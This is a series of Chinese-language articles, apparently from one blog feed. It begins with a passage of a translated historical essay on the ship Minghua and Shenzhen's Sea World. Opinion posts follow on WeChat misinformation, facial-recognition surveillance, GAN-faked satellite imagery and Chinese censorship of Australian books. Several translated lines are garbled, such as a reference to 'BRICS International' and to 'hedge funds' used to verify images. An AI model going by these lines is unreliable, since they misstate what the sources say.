像明华轮这样的船象征着中国的转型和它在世界中的地位的变化。如果说“一带一路”倡议下的当代海上贸易流说明了中国与全球资本主义的接触，那么明华轮的早期历史则提醒我们中国过去对革命的国际主义的承诺。这篇文章是一个初步的尝试，以了解中国的船舶作为远程服务的社会空间，但暂时与中国国家脱节。通过追踪明华号和其他两艘由中国远洋运输局管理的船只的航程，讲述了金砖国际的背景故事 —— 既作为海上的移动船只，也作为陆地上的永久存在。

海上的“社会主义”空间

「图」

1958年，中国交通部在广州设立了一个办事处，希望能够发展海上贸易，避开美国主导的禁运。早期，中国远洋运输局广州办事处组建了一支船队，包括从上海调来的“和平轮”和从英国购买的“光华轮”。20世纪60年代初，和平号和光华号定期前往东南亚主要港口，包括雅加达、棉兰、仰光、新加坡和泗水，运送乘客以及大米、胡椒和橡胶等货物，其中最后一种货物已被美国列入国际禁运名单。

除了贸易，这些船还执行政治任务。在1959–60年的反华运动和1965–66年的大规模政治暴力中，光华号为从印尼遣返华裔提供了便利；它还负责运送中国、越南和朝鲜运动员到印尼参加1963年的新兴力量运动会（GANEFO），这是一个由激进的反帝国主义国家举办的国际体育赛事，与奥林匹克运动会相对立（*Zhou 2019: 132–33*）。

【注：新兴力量运动会（Games of the New Emerging Forces，简称GANEFO），是在印度尼西亚总统苏加诺的倡导下举行的世界性运动会，举行一届后即彻底终结。】

在冷战期间，和平号和光华号穿越南中国海，与更广泛的中国社会隔绝，与资本主义船只和港口工人相遇，是孤立和脆弱的“社会主义空间”。1962年，当和平号进入雅加达丹戎不碌港时，船长注意到一位美国船长的“傲慢”目光，他坐在甲板上，双手环抱着赤裸的胸部（*GPA，291–1–105*）。在新加坡卸货时，光华号的船长记录了一些新加坡当地的华人搬运工在船舱内乱写“坏标语”，如“打倒人民公社”和“中国没有大米，没有衣服，没有自行车，没有手表”，并向中国水手讲述关于妓女的淫秽故事（*GPA，291–112–23～36*）。除了所谓的“腐蚀性的资本主义思想”的诱惑，船员对党国的忠诚度也被劳

资纠纷削弱了。例如，光华号上曾担任过人民解放军海军军官的水手们对收入的减少感到不满，并通过拖延时间以被动地抵制船长的命令（*GPA, 291–112–102～112*）。

社会学家 Victoria Reyes 将船舶描述为一个 “短暂的总体机构”，因为人员的服装、行动、睡眠时间、食物消耗、道德和性行为往往受到严格的管制（*Reyes 2018: 1100, 1103*）。在社会主义的 “和平号” 和 “光华号” 上，“思想工作” 被严格执行，声称为保护船员免受 “帝国主义和国际反革命分子的挑衅”（*GPA, 291–1–112–102～112*）。1964年光华号在中国和印度尼西亚之间的一次旅行中，船员们必须每周花4.5个小时进行集体政治学习，重点是毛泽东写的三篇文章（即 老三篇）：《为人民服务》、《纪念白求恩》和《愚公移山》。此外，每个人都被要求写一篇 “学习心得”，由学习小组组长在船上检查（*GPA，291–112–102～112*）。

对于在东南亚的中国人来说，和平号和光华号象征着 “社会主义新中国”，是中国的国际宣传的载体。1961年，在仰光的夏日夜晚，和平号的船长看到人群聚集在苏雷佛塔顶层，试图瞥见船的烟囱上巨大的红星，声称 “深受感动”。一位 “在缅甸生活多年的中国老奶奶” 租了一艘舢板船，带她到和平号上游览；她 “抚摸着船上的舷梯”，“久久不愿离开”（*GPA, 291–1–105*）。1959–60年，光华号在运送受印尼民族主义经济立法影响的散居华人时，在海上为乘客组织了密集的意识形态灌输计划。通过告示牌上的通讯，放映电影和纪录片，甚至是临时的戏剧表演，来传达关于 “新中国光辉进步” 的政治信息。一位乘客回忆说，他每天早上8点在甲板上参加革命音乐课，学习《社会主义好》等歌曲。然而，光华号上的船员们避而不谈大跃进造成的经济困难，导致移民在抵达中国后产生了令人心碎的幻灭感（*Zhou 2019: 200*）。

具有讽刺意味的是，光华号和和平号也以非社会主义的方式促进了公共外交。在这些船所访问的大多数港口，在中国大使馆和领事馆以及散居华人社区的商业领袖的协助下，举办了鸡尾酒会。这些场合的客人大多是来自外国移民和海关办公室、贸易和商业部门以及海军的官员。船长们通常会赠送礼物，以换取通关和其他程序的优惠待遇（*Zhou 2019: 200*）。1961年6月，在抵达丹戎不碌港时，“和平号” 船长邀请印尼官员上船参加豪华晚宴，并向他们赠送了中华牌香烟 —— 上海生产的一种高档品牌，以及几瓶白兰地。第二天，他在阅读当地报纸时，“不知道该笑还是该哭”，报纸报道说 “好客的印尼人为欢迎这艘来访的中国船而组织了一场宴会”（*GPA，291–1–105*）。1963 年 12 月，《中国画报》特别增刊，《雅加达丹绒不碌港热烈欢

迎外国运动员参加首届新兴力量运动会 (GANEFO)

陆地上的资本主义试验田

「图」

明华号在退役前的最后一次航行反映了1970年代末中国外交的重新定位。1978年6月，在从非洲回国的途中，明华号接到指示，准备前往越南，疏散因 “曾经的兄弟加战友” 河内和北京之间因地缘政治竞争升级而受到迫害的当地华人（*Zhang 2015: 1; FBIS, 7 June 1978*）。

在出发前，明华号的船员在广州黄埔港举行集会，声称对越南当局对中国过去援助越南反殖民主义、反帝国主义斗争的历史 “以德报怨”表示 “极大的愤慨”（*FBIS, 1978*年*6*月*11*日）。尽管得到了政治宣传，疏散行动还是失败了，明华号返回时，船上 “没有受害的中国人”（*FBIS*，*1978*年*8*月*2*日）。

双边关系继续恶化，并在 1979 年邓小平发动袭击 “教训越南” 时达到了最低点（*Ang 2018: 179*）。在邓小平的领导下，经济增长获得了比意识形态运动更优先的地位。在他的计算中，针对越南及其苏联支持者的军事行动将有助于中国接近资本主义世界，以获得投资和技术转让（*Zhang 2015: 6–9*）。

明华号见证了北京与越南社会主义共和国伙伴关系的瓦解，以及北京与资本主义日本关系的加深。1978年10月，邓小平对日本进行了一次历史性的访问—— 他认为中国在实现其四个现代化方面应该吸取重要的经验教训（*Vogel 2011: 294*）。1979年夏天，明华号作为 “中日友好船” 在日本航行。东京出生的中国国务院侨务办公室主任廖承志率领一个由 600 名 “友好使者” 组成的代表团，其中包括已故解放军将军、副总理贺龙的妻子和女儿（*FBIS*，*1979* 年 *7* 月 *12* 日；*Tu 2008: 391*）。

明华号以深圳为家之后，中日之间的外交活动继续进行。1986年，一场中日 围棋比赛在 “海上世界” 翻新的船长室举行，吸引了棋盘游戏爱好者和高调的观众，如中国共产党驻香港的最高代表许家屯（*STB*，*6*月*25*日；*7*月*10*日：*186*）。

围棋比赛在日本引发了公众对中国改革开放的好奇心。日本最著名的报纸《朝日新闻》发表了一系列关于中国第一个经济特区—— 深圳和 “特区中的特区”—— 蛇口工业区的报道（*STB, 1986* 年 *7* 月 *10* 日）。这块位于深圳西海岸的2.14平方公里的飞地由招商局集团

（CMG）的香港办事处管理，招商局集团是一家重要的现代航运企业，最初由清朝官员李鸿章建立，在1970年代由袁庚领导。袁庚是第二次中日战争期间的游击队员和军事指挥官，在20世纪50年代和60年代曾作为情报人员在东南亚工作（*Du 2020: 125*）。他给他的孩子——都出生在印度尼西亚——取名为“中印”和“尼亚”，是“印度尼西亚”的“-nesia”的音译（*Tu 2008: 394*）。凭借他丰富的海外经验和对亚太商业文化的熟悉，袁庚完全有能力监督中国第一个接受外国投资的试验田。然而，在20世纪80年代初，蛇口缺乏旅游设施，无法容纳来自香港和其他地区越来越多的投资者。曾在1960年代在光华号上护送中国印尼难民的袁庚提出了重新利用其“姊妹船”明华号的想法。明华号有263间客房，还有游泳池、餐厅和酒吧，都符合国际接待标准，是一个现成的五星级酒店。1983年8月，招商局集团购买了这艘退役的巡洋舰，并在四个月内将其改造成了一个一站式的娱乐中心（*Tu 2008: 366–67*）。

转变后的明华酒店的第一任总经理是王超良，一个受过空气动力学训练的重塑的“红色工程师”，曾在中国北方腹地的一个军工企业工作。为了弥补他在酒店业方面的知识不足，王超良以超过自己月薪30倍的价格从香港聘请了一位经验丰富的酒店经理。第一批管家、服务员和调酒师是通过竞争激烈的考试和面试从广东省各地招聘的（*Chen 2009*）。1983年圣诞节前后，王接到命令，要为一位喜欢吃辣的贵宾的来访做准备。邓小平对明华的访问重申了他对中国继续经济改革的信念。三天后，他写道：“深圳的发展和经验证明，我们建立经济特区的政策是正确的”（*Di 2018: 70*）。

在1984年中国国庆的阅兵式上，一辆按比例缩小的明华号花车出现在天安门广场上，上面印有袁庚的著名口号“时间就是金钱，效率就是生命”（Time is money, efficiency is life），使海洋世界在中国成为一个家喻户晓的名字（*He 2018: 290*）。

虽然不能移动，但退役后的明华号成为一个活跃的公共空间，用于文化交流、社会互动和聚会。蛇口工业区的管理人员组织了“市花展”和“民俗文化展”，这两个展览在全国都很有名，后者吸引了200多万游客，成为大获成功的旅游景点锦绣中华民俗村的原型（*STB，1986年9月25日；1990年10月1日*）。为了满足蛇口工业区大量年轻农民工的需求，明华提供低成本、高质量的休闲活动，从华尔兹和桑巴舞课程到四川风味的夜宵（***STB，1989年9月11日；1990年11月26日***）。有趣的是，船上的舞厅和餐厅为共青团员提供特别折扣（*STB，1986年3月25日*）。

2009 年的明华船。PC：@Flickrmarcus (CC)

从毛泽东到邓小平的航行

「图」

正如社会学家保羅·吉洛伊 (Paul Gilroy) (*1993: 4*) 在他对 “黑色大西洋” 的研究中所指出的，船舶应该被理解为一个 “活生生的、微观文化、微观政治的运动系统”。中国的船只在国际水域作为一种独特的国家空间，为中国政府的地缘战略和经济目标做出贡献。在海上航行时，这些船只不仅是乘客和商品的运输工具，也是毛泽东思想的运输工具；到达外国港口后，这些船只成为公共外交的浮动场所，当地官员、中国外交官和散居国外的华人社区在此交融。明华号的退役恰逢中国从毛泽东时代向邓小平时代过渡。在告别大海并成为城市景观的一部分后，明华号变成了市场经济的动态试验场，成为思想传播和身份转换的媒介。

明华号在海上航行了二十多年，在陆地上近四十年，它仍然活着。在经历了填海造地和邻近的浴场因污染而关闭之后，明华号在1990年代几次险些被拆除（*Di 2018: 73*）。2008–2009年全球金融危机后，地方政府以海洋世界为中心成功地重组了蛇口（*Di 2018: 75*）。今天的海洋世界仍然提供免费的公共广场和城市绿地，但巴西烤肉、德国酒吧和精品咖啡店主要迎合了外籍人士和中上阶层的消费者。

在深圳超音速的城市发展中，明华是一个传奇。但与20世纪80年代相比，它不再是年轻工人的休闲型公共空间，也没有为流民提供多少向上的社会流动机会。这艘船见证了毛泽东时代革命外交的衰落，邓小平时代市场经济的崛起，以及它所创造的财富和不平等。○

Revolution Offshore, Capitalism Onshore

References

「图」

Ang, Cheng Guan. 2018. *Southeast Asia’s Cold War: An Interpretive History*. Mānoa, HI: University of Hawai`i Press.Anim-Addo, Anyaa, William Hasty, and Kimberley Peters. 2014. ‘The Mobilities of Ships and Shipped Mobilities.’ //Mobilities// 9(3): 337-49.Chen, Xiaoqing 陈晓卿. 2009. 岁月山河 深圳 [//Shenzhen, Mountains and Rivers, Months and Years//]. Documentary

distributed by the Shenzhen Yuezhong Movie Co. Ltd (深圳越众影视有限公司). Episode 15, ‘上海新世界 [A New World at Sea].’Di, Qian 狄浅 (ed.). 2018. 时间的风景：蛇口四十年瞬间 [//Snapshots of Time: Forty Years in Shekou//]. Beijing: Shangwu Chubanshe.Du, Juan. 2020. //The Shenzhen Experiment: The Story of China’s Instant City//. Cambridge, MA: Harvard University Press.Foreign Broadcast Information Service (FBIS)7 June 1978. ‘PRC-SRV Dispute Continues, Evacuation Preparations Begin.’ 11 June 1978. ‘Ship Crews Hold Rallies.’ 2 August 1978. ‘PRC Ships’ Return to Huangpu Port Reported.’ 12 July 1979. ‘Friendship Ship Promotes Ties with Japanese.’Gilroy, Paul. 1993. //The Black Atlantic: Modernity and Double Consciousness//. London: Verso.Guangdong Provincial Archives (广东省档案馆, GPA)291-1-105, ‘1962年和平轮60～62年航次工作总结、报告 [Summary and Report of the Ship Heping’s Trips between 1960 and 1962].’ 291-1-112-23~36, ‘“光华”轮第九、十次航次工作总结 [Summary of the Ship Guanghua’s Ninth and Tenth Trips]’, 25 September 1962. 291-1-112-102~112, ‘第18、19次航次支部工作计划 [Plans for the Eighteenth and Nineteenth Trips]’, 28 June 1964.He, Jiang 贺江. 2018. ‘从海上世界到大湾区 [From the Sea World to the Greater Bay Area].’ In 蛇口，梦开始的地方—致敬改革开放四十年 [//Shekou, Where the Dream Began: A Tribute to the Fortieth Anniversary of Reform and Opening//], edited by Xu Yongjun 许永军 and Liu Wei 刘伟. Beijing: Renmin Chubanshe, 287-95.Khalili, Laleh. 2020. //Sinews of War and Trade: Shipping and Capitalism in the Arabian Peninsula//. London and New York, NY: Verso.Menzies, Gavin. 2002. //1421: The Year China Discovered the World//. London: Bantam Press.Reyes, Victoria. 2018. ‘Port of Call: How Ships Shape Foreign-Local Encounters.’ //Social Forces// 86(3): 1097-118.//Shekou Tongxun Bao// (蛇口通讯报) [//Shekou Bulletin//, //STB//]25 March 1986. ‘海上世界新优惠 [New Discount Offers at the Sea World].’ 25 June 1986. ‘中日围棋国手在海上世界交锋

傅许家屯将临蛇口观战 [National-Level Go Players from China and Japan Compete at the Sea World; Xu Jiatun Reported to be Coming to Watch the Match].’ 10 July 1986. ‘社团的外向与内向 [The Foreign and Domestic Functions of Civic Associations].’ 25 September 1986. ‘海上世界的魅力 [The Charm of the Sea World].’ 11 September 1989. ‘中秋海上新世界 良宵明华舞霓虹 海上世界中餐厅开设“歌舞宵夜” [Mid-Autumn Festival at a New World at Sea; The Chinese Restaurant at the Sea World Offers “Sing, Dine, and Dance” Package].’ 1 October 1990. ‘这里，浓缩了中国民俗 [Chinese Folk Culture Concentrated Here].’ 26 November 1990. ‘美人鱼歌舞厅开设交际舞辅导班 [Mermaid Ballroom Starts Ballroom Dance Classes].’Tu, Qiao 涂俏. 2008. 袁庚传：改革现场1978-1984 [//A Biography of Yuan Geng: The Frontline of Reform, 1978-1984//]. Beijing: Zuojia Chubanshe.Vogel, Ezra F. 2011. //Deng Xiaoping and the Transformation of China//. Cambridge, MA: Belknap Press of Harvard University Press.Wang, Gungwu. 1998. //The Nahai Trade: The Early History of Chinese Trade in the South China Sea//. Singapore: Time Academic Press.Zhang, Xiaoming. 2015. //Deng Xiaoping’s Long War: The Military Conflict between China and Vietnam, 1979-1991. // Chapel Hill, NC: University of North Carolina Press.Zhou, Taomo. 2019. //Migration in the Time of Revolution: China, Indonesia and the Cold War//. Ithaca, NY: Cornell University Press. 原文

美籍华人移民何以成为微信错误信息的牺牲品？ - iYouPort

中国-半壁高堡奇人

CJR 引述了 Tow 数字新闻中心的一份新报告，该报告调查了微信信息问题的诸多动态，CJR说，这些问题对试图融入美国生活的第一代华人移民产生了重大影响。这里重点指的是虚假错误信息。

但这篇文章写的不是很透彻，有些细节错误（略掉它），本文尝试将这一议题补充完整。

报道说，微信会生成同一个虚假故事的多个副本，而在一个被默认的是挑衅和感觉论的信息生态系统中，那些专注于揭穿错误信息的人很难与之竞争。该平台上的热门问题（包括平权行动和人口普查数据分析）在英语媒体中几乎没有任何报道。

纠偏从来都是很难的，我们分析过“为什么一般的辟谣都无效”，这不是微信的特殊性，虽然微信的结构加强了令辟谣失效的外部条件之一：信息传播的封闭。互联网在很大程度上并没能实现它所期待的最为广泛的互联，反而加速了部落化和回音壁效应，对此我们也有过分析：为什么社交媒体有可能拉低社会智识。这是令辟谣无效的根本原因。

至于为什么在微信热门的消息英文媒体基本没有报道，这似乎是个更复杂的问题，因为它牵涉很多原因，包括并不限于：1、英文主流媒体的选题标准 —— 中国新闻所占比重问题、题目本身被预期的大局效应问题等等；2、中国消息的难以跟进性 —— 中国消息很容易冲动化出现，由于信息管制和人们所谓的热情持续短暂，而媒体“需要”迎合这一情绪波动频率，以获取最大程度的吸睛度。同时又受限于封锁和审查，在微信收集中国消息的外媒记者并不少，他们最大的困惑不外乎上述，另外还有中国的消息传播者对消息本身之价值的淡漠、对传播动作能带来的自身影响力提升之价值的过分重视，导致看起来可报道的消息经常缺乏最基本的信息，无法追踪，甚至消息根本就是假的（在中国真伪甚至不影响消息成为热门，审查只针对意识形态和执政党的利益或好恶）；3、中国局域网内传播的大部分消息并不是一

眼看去的固定选题（顺便批评下英文媒体不擅长挖掘），由于在中国大部分人不重视隐私，位置都是暴露状态的，加之微信实名制的强制性，于是微信的“top stories”一直非常的地域化/本土化，与 Facebook 的算法近似，它提供的是针对用户所在位置的本地消息定向 feed，同时它基于苛刻的自我审查和平庸粗俗的点击量必需属性，于是整体上对严肃新闻来说并不具备足够的价值。（附：在中国：互联网上的政治为何如此局限）

该报道还说，出现在微信上的另一个重要问题是对避难城市表达愤怒的无证移民。微信上存在大量反对与移民限制法案相关的内容，报道认为，像这样的例子强调了与这个信息生态系统相联系的移民人口，了解哪些问题对他们重要，以及为什么扭曲的叙述会引起共鸣。

这首先会引出另一个问题，即为什么海外华人如此喜欢微信/微博，而不是 twitter/Facebook？它们都是集中化的封闭的互联网巨头，并且对海外华裔来说不存在 GFW 的问题，并且如果他们中的大部分人都使用 twitter/Facebook 的话，同样能够寻找到“共鸣”。

可能有几个原因。首先是环境认同，在中文网络上对他们来说能获得比国际社交媒体更多的“亲切感”（包括语言环境、表达和思考方式共性、价值观近似等等），对这种亲切感的追求也是他们难以融入移民国社会的原因之一。同时还有中国社会一贯的自闭，和 GFW 长期对国际流行应用的阻挡，都会造成大多数中国人的兴趣偏向国内事物。

其次是上述的引申，基于互联网对个人表现欲前所未有的激发和促进，人们会首先选取能让自己获得最大影响力的平台和虚拟社区。除上述原因外还有，在中国，移民是一种地位和能力的象征，而海外华裔只有在中国网络上才能享受到这种象征所带来的自豪感，哪怕是对移民国的抱怨，都不影响这种自豪感的获取。但如果使用 twitter/Facebook 他们将很难获得这种自豪感。

第三同样是基于影响力渴求的，就如这篇报告所关注的虚假消息问题，华裔移民是中国社交媒体上的假消息生产和传播的一个重点群体。他们自己真的相信那些假消息吗？不一定或不是全部如此，但假消息固有的刺激性（牵动受众情绪的能力）能帮助生产或传播者满足自身影响力的追求。并且，中国局域网内受众普遍的无知和对海外华裔身份普遍的仰慕，都在协助华裔群体传播假消息而不被揭发的“安全性”，以及影响力积累速度。

这就是促成这一群体驻留微信并热衷于假消息的原因。其传播的假消息五花八门，远远不限于该报道指出的移民话题。不否认该报道中透

露的他们有可能对特朗普政府的移民政策的不满，但那不是主要原因，因为这种不满和批评同样是 twitter 英文网络的主流观点之一，为什么美籍华裔不在 twitter 申诉自己不满呢？

该报道也观察到了这点：与其他平台一样，微信是英语公众熟悉的各种各样的政治错误信息的乐园，都是从美国超现实派的新闻网站和社交媒体搬运过来的。报道说，相对于自由派出版商，保守派在其数量、范围和单一意识形态方面似乎占据着更大的比重。这种不对称的极化意味着来自英语媒体右翼的错误信息可能获得更广泛的牵引力……

没错，但这不完全是内容生产者的问题，而是内容消费市场的问题，后者是因。有需求才有供应，那些供应者自己有可能并不或不全部认同自己生产的内容，但他们的价值观告诉他们，点击量才是唯一目标。中国社会整体呈现明显的右倾，以西方国家标准能定义的自由派在中国非常之少，超越意识形态的公正更是极其罕见，对那些信息生产者来说，自由派理念根本不是利润来源。

该报道也指出，微信的世界本身就是错误信息的肥沃土壤，因为与其他消息应用程序和社交媒体不同，该平台拥有大量原生内容发布商在争夺关注。虽然其中有一些是生产原创内容的，但绝大多数发布者采用的都是更便宜、更省时的抄袭模式。由一群或一个职业写手组成的骨架团队搜索互联网或微信本身，抓取那些有希望获得更多点击量的信息，然后将它们拼凑在一起或直接克隆故事以分享。

微信上的错误信息在私人网络中传播，隐藏在外部视野或系统分析的监督之外，很难获得纠偏。比如群聊，基本是偏执的培养基。

报道说，被调查的美国微信用户中，有 79% 的人表示他们从聊天群组中读取政治新闻。有亲密关系的小群体，如家人和亲密朋友是最常见的，这些团体都可能成为传播政治错误信息的有效节点。但 71% 的用户报告，超过100人的群聊中其成员可能不认识其他人。

由此，该报道认为，随着 WeChat，Whatsapp 和 Kakaotalk 等消息传递应用越来越成为分享和讨论新闻的场所，这种信息分发的有机过程不受管制，因而成为引发错误信息的心理、社会和文化驱动因素。

就如我们早前的文章所分析的，隧道生态是培养偏执和无知的主要环境条件（这里的链接指向具体分析）。但必需重申我们的反审查立场，假消息的热销并不是监察有必要存在的理由，如果人们有意识摆脱回音壁效应、有批判性思考习惯和足够程度的认知，假消息自然会

失去市场。

不过在中国，还有必要考虑人情社会的基本特征，那些拥护并协助传播假消息的人并非完全都是其信徒，这个社会普遍将高调的一致性表达作为情感输送的工具，你很难确定人们支持或反对的真正动机。这点对难以融入当地社会的海外华裔群体同样适用，他们保留着中国社会的行事习惯。

作为基本面，该报告提供了几种与微信错误信息问题作斗争的方法，包括了解哪些问题在触发及聚拢读者情绪，以及围绕这些方面集中反思。微信的信息问题没有任何明显或简单的解决方案。但理解到问题的存在关键是第一步。

原文

老大哥已经到达你家门口 - iYouPort

中国-半壁高堡奇人

使用面部识别进行监控的邪恶正席卷全球。部分原因在于基础数字技术继续变得更便宜、更强大，因此更具成本效益。但同时也是因为面部识别可以在远处不为人知的情况下发生，而不会让人们意识到它的部署。无论如何，现代智能手机的许多用户已经习惯于不假思索地接受它，因为这是一种快速简便的解锁设备的方法。

但是，这种面部识别的正常化对于隐私和自由来说绝对是个坏消息：

北京正加快在其公共住房计划中采用面部识别智能锁，作为所谓的“打击非法转租”等行为的一部分；预计到2019年6月底，面部扫描系统将涵盖北京的所有公共住房项目，共涉及120,000 个租户。

请注意，此举应该放在更广泛的背景下理解。正如 Techdirt 在 2017 年报道的那样，中国正在建立一个存储每个中国公民面部图像的系统，能够在三秒内识别出其中任何一个人。

虽然北京当局正在运行面部识别与“智能”锁的最新使用，但这种系统并不是孤立存在的。所有事物都被交叉引用并链接在一起，其目的是确保每个公民的一举一动都有一个完整的图景—导致所谓的“ 公民得分 ”或个人的“社会信用评分”。

一旦“智能”锁到位，将它们作为社会信用评分体系及其惩罚的一部分将是直截了当的—— 例如对居住在某地的人实行宵禁，或仅允许某些“已批准”的访客。

即使不以这种更极端的方式使用所谓的“智能”锁，面部识别系统也可以记录所有来访的人，以及他们停留多长时间，并将该数据传输到中央监控站。所有人都知道当局滥用权力的范围很广。

China Starts Using Facial Recognition-Enabled ‘Smart’ Locks In Its Public Housing: Once the “smart” locks are in place, it would be straightforward to make them part of the social credit system and its punishments

原文

老大哥正在中国大发横财：估值最高的监视技术公司都在中国。但问题的根源是什么？ - iYouPort

中国-半壁高堡奇人

商汤科技以估值超过 30 亿美元从阿里巴巴等投资者获得了 6 亿美元 C 轮融资，它如今是世界上估值最高的 AI 创业公司。该公司的一个主要业务是面部识别，如果你曾走在中国城市的街道上或者使用中国制造的手机拍过照，那么有很大的可能性你的脸部被商汤科技的软件数字处理过。

商汤科技正开发一个代号为 Viper 的服务能从数以千计的实时监控探头源解析数据——它希望这个平台能证明对大规模监控是无价的。商汤科技去年已经盈利，计划到今年年底雇员人数增长到 3000 人。

除商汤科技外，旷视科技去年融资 4.6 亿美元，依图和码隆科技等规模较小的公司也都获得了投资。世界最大的监控探头制造商杭州海康威视数字则正在开发自己的 AI 技术。

此前本网曾有报道，随着中国政府加强监督，面部识别在中国成了大生意。现在越来越多的中国地方政府正在使用SenseTime面部识别技术。SenseTime的首席营销官 Jin Jin 说，该公司向中国警方出售这些应用程序：“我们一直在与40个公安局合作…

SenseTime成立于2014年，成为中国这个老大哥信徒的最大的独角兽 – 估值超过30亿美元 。⚠中国第二大人工智能公司Megvii 的老总说，中国政府 – 对面部识别技术的巨大需求 – “帮助该公司快速创新技术”！

共产党已经制定了在未来两年内建设价值近1500亿美元的人工智能产业的目标。作为中国“天眼”计划的一部分，Megvii 和 SenseTime 都将他们的技术卖给了中国各地的公安局，该计划是将中国现有安全摄像头整合到一个全国范围的监控和数据共享中的计划。

中国这个天罗地网引起全世界的焦虑，唯独中国人自己不焦虑。这才

是最严重的根源问题。总会有一些西方媒体同行问我，对某些糟糕的状况（政治/社会）“中国舆论是怎样的？”往往这种时候我会感觉非常为难，因为真的没有什么舆论，人们该干嘛干嘛呢，即便有，也只是几个小时内刷一把，然后继续该干嘛干嘛……本网在三年前分析《舆论去哪了》的时候，这种状况还不是那么的明显，只能说它正在恶化，这个社会正在趋向虚无和麻木。

这就是为什么所谓的“舆论”在中国什么也解决不了。

中国人更多是在看热闹。看热闹和关注是天壤之别。关注才是舆论，看热闹是在消解舆论。〇

原文

虚假地球 [video] - iYouPort

中国-半壁高堡奇人地缘政治

军事计划的基础是对地形准确的理解以便作出最恰当的计划，然而，一种新型的难以被发现的造假技术正针对这点以愚弄行动策划者，尤其是对于新闻业才刚兴起的开源调查来说，这是一场惊人的真相危机。中国又在其中扮演了什么角色？

「图」

「图」

第1步：使用AI对室外照片进行无法检测的更改。第2步：将它们释放到开源世界，享受混乱带来的刺激。

对于深度造假的担忧—— 机器操纵的名人和世界领导人的视频描述他们从来没有说过的话没有做过的事—— 与新的威胁相比简直不足为奇：关于对地球本身的图像篡改。

中国是这方面公认的领导者，他们使用一种名为生成对抗网络的新兴技术来诱骗计算机“观察到”并不存在的景观或卫星图像中的物体，国家地理空间情报局 CIO 技术理事会的自动化负责人 Todd Myers 说。

“中国人远远领先于我们。这不属于机密信息，“Myers 在由 Defense One 和 Nextgov 主持的第二届年度天才机器峰会上表示，“中国人已经设计好了；他们现在已经在使用 GAN（生成对抗网络）来操纵场景和像素，以便出于各种原因创造假货。“

例如，Myers 说，对手可能会欺骗你的计算机辅助图像分析报告一座桥在特定点有一条重要的河流穿过。

“因此，从战术角度或任务规划角度来看，你要训练你的部队走向某条路，走向一座桥，但它并不存在。然后就会有一个很大的震惊等着你，“他说。

首次描述于2014年，GAN 代表了神经网络学习查看和识别物体甚至从虚构中发现真相的方式的巨大演变。

假设你要求传统神经网络找出卫星照片中的物体。网络会将图像分成多个部分或像素簇，计算这些碎片如何相互关联，最终确定物品是什么，或者照片是真实的还是被篡改过的。这一切都基于观看大量卫星照片过得的经验。

GAN 则通过将两个网络相互对抗来反转这一过程—因此称为“对抗性”。传统网络可能会说，“这些像素集群中x、y和z的存在意味着这是猫的图片。” 但是 GAN 网络可能会说，“这是一张猫的照片，因此必须存在x，y和z。什么是x，y和z以及它们如何相关？“ 对抗性网络学习如何构造或生成x，y和z，以便说服第一个神经网络或鉴别器，当某些东西存在时，或许它不是特定的物品。

许多学者发现 GAN 对于发现物体和从假物品中分类有效图像很有用。 2017年，中国学者开始使用 GAN 识别卫星照片中的道路、桥梁和其他特征。

正如人工智能技术专家去年告诉 Quartz 的那样，人们担心的是，同样能够辨别真假桥梁的技术也可以帮助创建人工智能无法从真实事物中分辨出来的虚假桥梁。

Myers 担心，当世界依靠越来越多的开源图像来理解物理地形，只需在开源图像供应线中输入一些专业操作的数据集就可能造成严重破坏。

“忘记[国防部]和[情报界]吧。想象一下，谷歌地图是否有目的地被渗透？想象从现在开始特斯拉[自驾车]半决赛五年后的路线？“他说。

当谈到关于人物的深度虚假视频时，脉冲和语音等生物识别指标可以打败虚假效果。但是伪造的景观并不容易受到同样的技术挑战。

即使您可以击败 GAN，许多图像识别系统也可以通过对环境中的物理对象添加小的视觉变化来愚弄，例如，添加人类驾驶员几乎无法察觉到的标志贴纸就可以令机器视觉系统出错，正如 DARPA 项目经理 Hava Siegelmann 所证明的那样。在这里看到视频：

Myers 说，军事和情报界可以击败 GAN，但是这项工作耗时且昂贵，需要多次重复收集卫星图像和其他确凿的证据。“对于每一个集合，你必须重复收集不同来源的内容，否则，就是单一信源。”

挑战既是技术挑战，也是财务挑战。

“最重要的是确保你可以得到我刚才谈到的任务所需的资金，”他说。

美国官员已经证实，数据完整性是一个日益严重的问题。“这是我们在保护数据方面所关心的事，因为如果你能获得数据，你就可以投毒、破坏、欺骗和否认以及做所有其他事，” Jack Shanahan 中将说，他负责管理五角大楼新的联合人工智能中心，“我们有一个强大的保护数据计划。如果你得到了数据，就可以得到这个模型。“

但是，当涉及到保护开源数据和图像的问题时，新闻机构的每个人、公民和人权组织正使用对冲基金来确定什么是真实的和什么不是，那么如何保护它的问题是令人恐惧的。政府可以获得的“真相”与公众可以获得的“真相”之间的差距可能很快变得不可逾越，这将进一步削弱国家安全界的公信力和民主体制的运作。

美国中央情报局数字理事会负责人安德鲁·霍尔曼（Andrew Hallman）形容其为史诗级的冲突。Hallman 说：“我们正处于数字领域真理的存在主义斗争中。这也是私营部门的帮助和这些数据提供者的重要性。因为坦率地说，我们所处的数字冲突，在那个战场上……这是我的最高优先事项之一。“

当被问及他是否觉得中央情报局牢牢掌握了开源领域虚假信息的挑战时，Hallman 说：“我想我们已经开始了。我们刚刚开始了解到问题的严重性。“

关于深度造假，更多详细报告《当恶意者掌握技术：信息战的未来究竟有多可怕？》

Step 1: Use AI to make undetectable changes to outdoor photos. Step 2: release them into the open-source world and enjoy the chaos. The Newest AI-Enabled Weapon: ‘Deep-Faking’ Photos of the Earth

原文

跨国审查 - iYouPort

中国-半壁高堡奇人

中国在自己国家的审查众所周知，任何进入中国的内容都要经过中国的审查也众所周知，但是，一本澳大利亚人写的书面向澳大利亚的作者，为什么依旧要被中国审查？

中国正在将审查范围扩展到新领域的消息现在几乎没人会感觉震惊了，因为它是如此的常见。但即使如此，现在中国正在积极审查澳大利亚作家为澳大利亚读者撰写的书籍的消息，也是非常叹为观止的。中国政府之前已经为单一的书籍做了同样的审查，这些书籍不被该政权喜欢，但现在审查似乎是更广泛的一般政策的一部分：

出版业的数据证实，中国广电总局正在审查澳大利亚出版社在中国印刷的书籍，尽管这些出版物是由澳大利亚作者撰写的，面向澳大利亚读者；根据发给出版商并由“时代”和“悉尼先驱晨报”获得的名单，任何提及中国政治异议人士、抗议者或政治人物的名单，包括习近平，都是完全禁止的。

正如澳大利亚报纸所解释的那样，中国审查机构能够将自己的观点强加于为澳大利亚市场设计的书籍的原因是，在中国印刷书籍比在欧洲更便宜，特别是如果涉及到彩色插图的话。因此，出版商可能面临着要接受中国要求的选择，或者彻底停止出版该书，因为成本太高。

